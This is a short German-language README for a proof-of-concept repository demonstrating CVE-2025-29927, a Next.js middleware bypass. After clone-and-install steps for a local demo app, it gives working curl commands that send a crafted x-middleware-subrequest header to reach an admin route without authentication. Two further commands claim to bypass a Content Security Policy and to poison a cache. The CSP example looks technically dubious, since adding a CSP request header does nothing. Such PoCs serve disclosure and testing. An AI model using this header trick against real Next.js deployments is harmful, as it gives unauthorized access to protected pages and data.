
CVE-2025-29927 Proof of Concept
Dieses PoC demonstriert CVE-2025-29927, eine Schwachstelle in Next.js Middleware, die Angreifern ermöglicht, Authentifizierungs-, Autorisierungs- und CSP-Mechanismen mithilfe des x-middleware-subrequest-Headers zu umgehen.
Next.js-Versionen 11.1.4 bis 15.1.7
1️⃣ Clone & Install the PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
Die App wird unter http://localhost:3000 gestartet.
1- Verwende x-middleware-subrequest, um unbefugten Zugriff zu erlangen:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 Erwartetes Ergebnis: Die Antwort gibt admin admin zurück, obwohl die Authentifizierung umgangen wurde.

Wenn CSP über Middleware erzwungen wird, umgehe es:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 Erwartetes Ergebnis: Das CSP wird ignoriert, was die Ausführung bösartiger Skripte ermöglicht.
Nutze Cache-Vergiftung, indem eine fehlerhafte Antwort erzwungen wird:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 Erwartetes Ergebnis: Die Seite wird mit falschem Inhalt gecached, was normale Nutzer stört.
🔍 Entdeckt von: Allam Rachid (zhero;) & Allam Yasser (inzo_)